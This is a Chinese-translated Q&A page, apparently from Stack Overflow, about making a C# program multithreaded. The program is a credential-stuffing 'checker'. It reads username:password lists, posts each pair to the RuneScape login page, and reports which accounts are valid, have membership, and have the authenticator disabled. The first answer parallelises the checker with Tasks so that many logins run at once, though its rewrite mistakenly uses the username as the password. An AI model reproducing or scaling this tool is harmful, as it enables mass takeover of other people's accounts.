如何使这个c#方法多线程?

时间:2017-09-27 01:26:43

标签: c# multithreading

我有这个c#类,我试图制作多线程,或者能够一次运行100个线程(请求?)。

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using System.Threading.Tasks;

namespace ConsoleApplication1
{
    class Program
    {
        static void Main(string[] args)
        {
            string[] lines = File.ReadAllLines("C:\\checker/in.txt");
            var accCount = File.ReadLines(@"C:\checker/in.txt").Count();
            Console.Write("Accounts loaded: " + accCount);
            Console.WriteLine();

            foreach (string line in lines)
            {

                string[] account = line.Split(new char[] { ':' });
                string user = account[0];
                string pass = account[1];

                addThreads(user, pass);
                Threads.ForEach(t => t.Start());

                Console.WriteLine();
            }
            // Suspend the screen.
            Console.ReadLine();
        }
        public static List<Thread> Threads = new List<Thread>();

        public static void addThreads(string user, string pass)
        {
            var checker = new Checker();
            Threads.Clear();
            Threads.Add(new Thread(() => { checker.checkAccount(user, pass); }));
            Threads.Add(new Thread(() => { checker.checkAccount(user, pass); }));
            Threads.Add(new Thread(() => { checker.checkAccount(user, pass); }));
            Threads.Add(new Thread(() => { checker.checkAccount(user, pass); }));
            Threads.Add(new Thread(() => { checker.checkAccount(user, pass); }));
            Threads.Add(new Thread(() => { checker.checkAccount(user, pass); }));
            Threads.Add(new Thread(() => { checker.checkAccount(user, pass); }));
        }

    }

    public class Checker
    {
        //declare vars
        string getUsername;
        string getMember;
        string getAuth;
        string check;

        public void checkAccount(string username, string password)
        {
            ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;

            byte[] data = Encoding.ASCII.GetBytes(
    $"username={username}&password={password}&mod=www&ssl=1&dest=account_settings.ws");

            WebRequest request = WebRequest.Create("https://secure.runescape.com/m=weblogin/login.ws");
            request.Method = "POST";
            request.ContentType = "application/x-www-form-urlencoded";
            request.ContentLength = data.Length;
            using (Stream stream = request.GetRequestStream())
            {
                stream.Write(data, 0, data.Length);
            }

            string responseContent = null;

            using (WebResponse response = request.GetResponse())
            {
                using (Stream stream = response.GetResponseStream())
                {
                    using (StreamReader sr99 = new StreamReader(stream))
                    {
                        responseContent = sr99.ReadToEnd();
                    }
                }
            }

            //parse captcha
            string patternCaptcha = @"Please\s*complete\s*the\s*reCAPTCHA\s*box";
            string inputCaptcha = responseContent;
            Match matchCaptcha = Regex.Match(inputCaptcha, patternCaptcha);
            string captcha = matchCaptcha.Value;

            if (captcha == "Please complete the reCAPTCHA box")
            {
                captcha = "true";
                Console.Write("captcha,captcha,captcha,captcha");
                Console.WriteLine();
                //return "captcha,captcha,captcha,captcha";
            }
            else
            {
                //parse valid/invalid
                string patternCheck = @"Your\s*login\s*or\s*password\s*was\s*incorrect";
                string inputCheck = responseContent;
                Match matchCheck = Regex.Match(inputCheck, patternCheck);
                check = matchCheck.Value;

                if (check == "Your login or password was incorrect")
                {
                    check = "Invalid";
                }
                else
                {
                    check = "Valid";
                    //parse display name
                    string pattern = @"(<span.*class=.header-top__name.>(.*?)</span>)";
                    string input = responseContent;
                    Match match = Regex.Match(input, pattern);
                    getUsername = match.Groups[2].Value;
                    byte[] bytes = Encoding.Default.GetBytes(getUsername);
                    getUsername = Encoding.UTF8.GetString(bytes);
                    getUsername = getUsername.Replace("?", " ");

                    //parse member status
                    string patternMember = @"(Currently\s*Not\s*a\s*Member)";
                    string inputMember = responseContent;
                    Match matchMember = Regex.Match(inputMember, patternMember);
                    getMember = matchMember.Value;
                    if (getMember == "Currently Not a Member")
                    {
                        getMember = "Non Member";
                    }
                    else
                    {
                        getMember = "Member";
                    }

                    //parse auth status
                    string patternAuthUrl = @"iframe src=\""(.*?)""";
                    string inputAuthUrl = responseContent;
                    Match matchAuthUrl = Regex.Match(inputAuthUrl, patternAuthUrl);
                    string getAuthUrl = matchAuthUrl.Groups[1].Value;

                    using (WebClient client = new WebClient())
                    {
                        string authSource = client.DownloadString(getAuthUrl);

                        string patternAuth = @"RuneScape\s*Authenticator\s*is\s*disabled";
                        string inputAuth = authSource;
                        Match matchAuth = Regex.Match(inputAuth, patternAuth);
                        getAuth = matchAuth.Value;

                        if (getAuth == "RuneScape Authenticator is disabled")
                        {
                            getAuth = "Auth Disabled";
                        }
                        else
                        {
                            getAuth = "Authed";
                        }
                    }
                }
                captcha = "false";
                string curldata = getUsername + "," + getMember + "," + getAuth + "," + check;
                Console.Write(curldata);
                Console.WriteLine();
            }

        }

    }

}

如果每次发布网络请求每隔几秒钟检查一次我的程序,我怎样才能在同一时间将这种情况发生50-100次?这可能吗?或者我需要以不同的方式做到这一点吗?

2 个答案:

答案 0 :(得分:2)

您需要避免使用线程,因为每个线程使用超过1MB的RAM并且创建起来很慢。你真的想使用任务(TPL)或observables(Rx)。

在这种情况下,使用任务非常简单。

试试这段代码:

string[] lines = File.ReadAllLines("C:\\checker/in.txt");
var accCount = lines.Count();
Console.Write("Accounts loaded: " + accCount);
Console.WriteLine();

var checker = new Checker();

var tasks =
    from line in lines
    let account = line.Split(new char[] { ':' })
    let user = account[0]
    let pass = account[0]
    select Task.Factory.StartNew(() =>  checker.checkAccount(user, pass));

Task.WaitAll(tasks.ToArray());

Console.ReadLine();

这将读取文本文件并排队要运行的一组任务以检查每一行。 Task.WaitAll暂停代码,直到完成所有任务。

这样可以有效地使用线程池,这样就不会浪费宝贵的资源来启动线程。

您的checkAccount目前也不是线程安全的。您需要将字段级变量移动到方法内。看起来应该是这样的:

public void checkAccount(string username, string password)
{
    string getUsername;
    string getMember;
    string getAuth;
    string check;

答案 1 :(得分:0)

首先,你需要做一个方法来调用线程

public void CallingThreadsMethod()
    {
        ThreadStart ts = new ThreadStart(SomeFunction);
        Thread t = Thread(ts);
        t.IsBackground = true;
        t.Start();
    }

void Somefunction(){}

或者如果你想要很多线程,你可以创建一个线程列表

public static List<Thread> Threads = new List<Thread>();

    public static void addThreads()
    {
        Threads.Clear();
        Threads.Add(new Thread(Method1));
        Threads.Add(new Thread(Method2));

    }

然后在你的主要功能

中启动它
Vars.addThreads();
Vars.Threads.ForEach(t => t.Start());

但如果您使用的是Windows窗体或wpf,我建议您使用BackgroundWorkers